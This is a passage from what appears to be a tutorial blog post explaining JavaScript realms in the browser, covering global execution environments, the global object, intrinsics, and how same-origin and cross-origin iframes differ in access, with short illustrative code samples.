&lt;p&gt;But in order for any of this to make sense, we must first understand &lt;strong&gt;what realms are&lt;/strong&gt; - and apparently that’s not an easy question to answer in a correct, yet &lt;strong&gt;informal&lt;/strong&gt; and educational way.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;The context of this post is focused around browser JavaScript, therefore it may apply to JavaScript in general, but that is not guaranteed.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;a-a-hrefhttpstc39esecma262sec-code-realmsrealma---the-world-where-javascript-lives&quot;&gt;A &lt;a href=&quot;https://tc39.es/ecma262/#sec-code-realms&quot;&gt;realm&lt;/a&gt; - the world where JavaScript lives&lt;/h2&gt;
&lt;p&gt;You can informally think of a realm as basically an ecosystem in which a JavaScript program lives. And just like any other ecosystem, it includes different elements that JavaScript programs must have in order to exist within it.&lt;/p&gt;
&lt;p&gt;So - what do JavaScript programs need?&lt;/p&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/p&gt;
&lt;h3 id=&quot;a-a-hrefhttpstc39esecma262sec-global-environment-recordsglobal-execution-environmenta&quot;&gt;1) A &lt;a href=&quot;https://tc39.es/ecma262/#sec-global-environment-records&quot;&gt;global execution environment&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;In JavaScript, there can be many different scripts running in the same environment.
Scripts can form &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Glossary/Scope&quot;&gt;scopes&lt;/a&gt; which are canonical execution environments in which values and expressions are “visible” or can be referenced. Scopes can also be layered in a hierarchy, so that child scopes have access to parent scopes, but not vice versa:&lt;/p&gt;
&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;scope1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;scope2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// 3&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}());&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// Uncaught ReferenceError: y is not defined&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}());&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;In the example above we show how a scope can be defined using JavaScript.
But what if we write a JavaScript program that also declares variables, and does so without actually declaring a scope?&lt;/p&gt;
&lt;p&gt;This is known as a “top level declaration” - everything that is declared (or runs in general) outside of any defined scope is under the default &lt;a href=&quot;https://tc39.es/ecma262/#sec-global-environment-records&quot;&gt;outer-most scope&lt;/a&gt;, which is the &lt;strong&gt;global&lt;/strong&gt; execution environment.&lt;/p&gt;
&lt;p&gt;Variables declared under this outer-most scope are shared among the different scripts under the global execution environment:&lt;/p&gt;
&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// 3 &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;A realm provides the JavaScript program with its own single global execution environment.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The examples above use &lt;code&gt;const&lt;/code&gt;, which populates new definitions in what is known as the &lt;a href=&quot;https://tc39.es/ecma262/#sec-declarative-environment-records&quot;&gt;“declarative environment”&lt;/a&gt;, alongside &lt;code&gt;let&lt;/code&gt;, &lt;code&gt;class&lt;/code&gt;, &lt;code&gt;module&lt;/code&gt;, &lt;code&gt;import&lt;/code&gt;, and/or &lt;code&gt;function&lt;/code&gt; declarations.&lt;/p&gt;
&lt;p&gt;All other ways of creating new definitions fall under what is knowns as the &lt;a href=&quot;https://tc39.es/ecma262/#sec-object-environment-records&quot;&gt;“object environment”&lt;/a&gt;, which includes &lt;code&gt;var&lt;/code&gt;, &lt;code&gt;function&lt;/code&gt;, &lt;code&gt;async function&lt;/code&gt;, &lt;code&gt;function*&lt;/code&gt;, &lt;code&gt;async function*&lt;/code&gt; (the &lt;code&gt;*&lt;/code&gt; representing the generator function).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Be aware of that the effect different declarations statements have over the global object through the “object environment” drifts from the above explanation when JavaScript code executes under &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode&quot;&gt;&lt;code&gt;use strict;&lt;/code&gt;&lt;/a&gt; mode and/or when it executes as &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules&quot;&gt;module code&lt;/a&gt; rather than script code!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Both the “declarative environment” and the “object environment” together make up the aforementioned global execution environment.&lt;/p&gt;
&lt;p&gt;The “object environment”, in addition to the above, also provides all of what are known as &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects&quot;&gt;“built-in global objects”&lt;/a&gt; due to its base object being what is known as the “global object”.&lt;/p&gt;
&lt;h3 id=&quot;a-a-hrefhttpstc39esecma262sec-global-objectglobal-objecta-and-a-hrefhttpstc39esecma262sec-well-known-intrinsic-objectsintrinsic-objectsa&quot;&gt;2) A &lt;a href=&quot;https://tc39.es/ecma262/#sec-global-object&quot;&gt;global object&lt;/a&gt; (and &lt;a href=&quot;https://tc39.es/ecma262/#sec-well-known-intrinsic-objects&quot;&gt;intrinsic objects&lt;/a&gt;)&lt;/h3&gt;
&lt;p&gt;After having a proper environment in which JavaScript programs can execute, they also need to be able to perform advanced operations, including but not limited to platform based ones.&lt;/p&gt;
&lt;p&gt;The global object provides access to built-ins such as different intrinsics, objects, APIs, etc (whether platform specific or not) that enrich and enable it to be fuller-featured and more useful.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;The global object is referenced as &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Window&quot;&gt;&lt;code&gt;window&lt;/code&gt;&lt;/a&gt; for browsers and &lt;a href=&quot;https://nodejs.org/api/globals.html#globals_global&quot;&gt;&lt;code&gt;global&lt;/code&gt;&lt;/a&gt; for NodeJS environments; in both, &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/globalThis&quot;&gt;&lt;code&gt;globalThis&lt;/code&gt;&lt;/a&gt; can also be used.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;To start with the non platform based ones, the global object exposes some built-in intrinsic objects:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://tc39.es/ecma262/#sec-value-properties-of-the-global-object&quot;&gt;values&lt;/a&gt; (e.g. &lt;code&gt;undefined&lt;/code&gt;, &lt;code&gt;Infinity&lt;/code&gt;, etc);&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tc39.es/ecma262/#sec-function-properties-of-the-global-object&quot;&gt;functions&lt;/a&gt; (e.g. &lt;code&gt;eval&lt;/code&gt;, &lt;code&gt;parseInt&lt;/code&gt;, etc);&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tc39.es/ecma262/#sec-constructor-properties-of-the-global-object&quot;&gt;constructors&lt;/a&gt; (e.g. &lt;code&gt;Boolean&lt;/code&gt;, &lt;code&gt;Date&lt;/code&gt;, etc);&lt;/li&gt;
&lt;li&gt;and &lt;a href=&quot;https://tc39.es/ecma262/#sec-other-properties-of-the-global-object&quot;&gt;others&lt;/a&gt; (e.g. &lt;code&gt;JSON&lt;/code&gt;, &lt;code&gt;Math&lt;/code&gt;, etc)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In addition to those, the global object also exposes different platform specific APIs.
In the browser for example there are &lt;code&gt;fetch&lt;/code&gt;, &lt;code&gt;alert&lt;/code&gt;, &lt;code&gt;document&lt;/code&gt; and more.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model&quot;&gt;&lt;code&gt;DOM&lt;/code&gt;&lt;/a&gt;, for example is a well known browser specific API that is exposed via the global object, and here too every realm has its own unique separate DOM.&lt;/p&gt;
&lt;p&gt;In the context of the “global execution environment” section, in addition to these built-ins, the global object also exports anything that was declared under the “object environment”:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// `const` declrations fall under the &quot;declarative environment&quot;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;constant&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// and therefore they are not accessible via the global object&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;constant&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// undefined&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// however,&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// `var` declrations fall under the &quot;object environment&quot;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;variable&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// and therefore they are accessible via the global object&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;variable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// 2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Any platform specific objects and APIs are accessible via the global object along with all intrinsic objects and new properties declared by code.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;javascript-itself&quot;&gt;3) JavaScript itself&lt;/h3&gt;
&lt;p&gt;The last thing that can be associated with a realm is the JavaScript code that runs within the execution environment of that realm.&lt;/p&gt;
&lt;p&gt;Any changes/alternations/updates to the execution environment, the global object or anything that is derived under a realm, is also associated exclusively with that realm.&lt;/p&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/p&gt;
&lt;h2 id=&quot;grasp-the-concept-of-what-realms-really-are&quot;&gt;Grasp the concept of what realms really are&lt;/h2&gt;
&lt;p&gt;Congratz 🎉 for making it through the boring technical definition part - now’s the less formal part where it’ll all click!&lt;/p&gt;
&lt;h3 id=&quot;realms-in-real-life&quot;&gt;Realms in “real life”&lt;/h3&gt;
&lt;p&gt;As mentioned before, realms is a JavaScript concept and is not exclusive to browsers, but I will stick to browsers in my explanation.&lt;/p&gt;
&lt;p&gt;Now that we defined what realms are, it’s time to “put a face to the name”.&lt;/p&gt;
&lt;p&gt;In the browser, by default there is only one realm and that is the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Window/top&quot;&gt;top&lt;/a&gt; main realm. That is the realm where the web app that the browser loaded lives.&lt;/p&gt;
&lt;p&gt;As we just learned, the web app lives within that realm which provides it with a global execution environment, an outer-most scope and a global object that grants access to different intrinsic objects, platform specific APIs, etc.&lt;/p&gt;
&lt;p&gt;However, new realms can be created by the web app and co-exist - and every new realm will have &lt;strong&gt;its own separate and unique set of everything mentioned above.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Every realm lives inside what is known as an &lt;a href=&quot;https://tc39.es/ecma262/#sec-agents&quot;&gt;agent&lt;/a&gt;, and an agent can be the parent of multiple realms.
Realms can have child or sibling realms.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Agents will be covered in a different post. All there is to know is that an agent is an entity with different resources it provides to the realm/s it hosts (e.g. the &lt;a href=&quot;https://html.spec.whatwg.org/multipage/webappapis.html#event-loops&quot;&gt;event loop&lt;/a&gt;).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In the browser, realms can be created in various ways and whether they’ll be the child of the same agent or not depends on the nature of the realms and the relationship they have with each other. Here are some examples:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Two &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe&quot;&gt;iframes&lt;/a&gt; (either parent and child or siblings) of the same origin will form two realms under a single agent.&lt;/li&gt;
&lt;li&gt;Two &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe&quot;&gt;iframes&lt;/a&gt; (either parent and child or siblings) of two different origins will form two realms under separate agents (furthermore, to keep cross origin site isolation, the parent agents of the two realms are children to separate &lt;a href=&quot;https://tc39.es/ecma262/#sec-agent-clusters&quot;&gt;agent clusters&lt;/a&gt; which run in different processes).&lt;/li&gt;
&lt;li&gt;The top main realm and a &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API&quot;&gt;service worker&lt;/a&gt; are two realms under separate agents under a single agent cluster (so is a &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API&quot;&gt;web worker&lt;/a&gt;).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Those relationships also dictate to what extent realms can communicate with one another.&lt;/p&gt;
&lt;p&gt;Same origin iframe realms share a single event loop and can access each others environment synchronously and freely using the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/HTMLIFrameElement/contentWindow&quot;&gt;&lt;code&gt;contentWindow&lt;/code&gt;&lt;/a&gt; property:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// https://example.com&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ifr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;createElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;iframe&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;ifr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;src&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://example.com&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// same origin&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;ifr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;onload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ifr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;contentWindow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// &amp;lt;body&amp;gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;appendChild&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ifr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;But cross origin iframe realms get much more limited access using the same API:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// https://example.com&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ifr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;createElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;iframe&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;ifr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;src&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;//cross.origin.com&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// cross origin&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;ifr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;onload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ifr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;contentWindow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// Uncaught DOMException: Blocked a frame with origin &quot;https://example.com&quot; from accessing a cross-origin frame.&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;appendChild&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ifr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Cross origin realms can still communicate with each other, but the communication is more limited and is based on the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage&quot;&gt;postMessage()&lt;/a&gt; asynchronous API. This also applies when trying to communicate with web workers, service workers, etc.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;It is worth mentioning that different and interesting complimentary solutions to some of the limitations described here will be introduced shortly once the famous &lt;a href=&quot;https://github.com/tc39/proposal-shadowrealm/blob/main/explainer.md&quot;&gt;shadow realms proposal&lt;/a&gt; lands - worth staying tuned on that!&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id=&quot;the-uniqueness-of-each-realm-is-a-great-way-to-better-grasp-the-idea-of-what-a-realm-is&quot;&gt;The uniqueness of each realm is a great way to better grasp the idea of what a realm is.&lt;/h4&gt;
&lt;p&gt;If for example we load the following website:&lt;/p&gt;
&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;iframe&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;some_iframe&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Then there are two different realms - the top main realm, and the new realm within the iframe, so that each realm has its own unique identity with a unique global object and a global execution environment:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;some_iframe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;contentWindow&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// false&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;And each realm has its own set of intrinsic objects and platform based APIs:&lt;/p&gt;
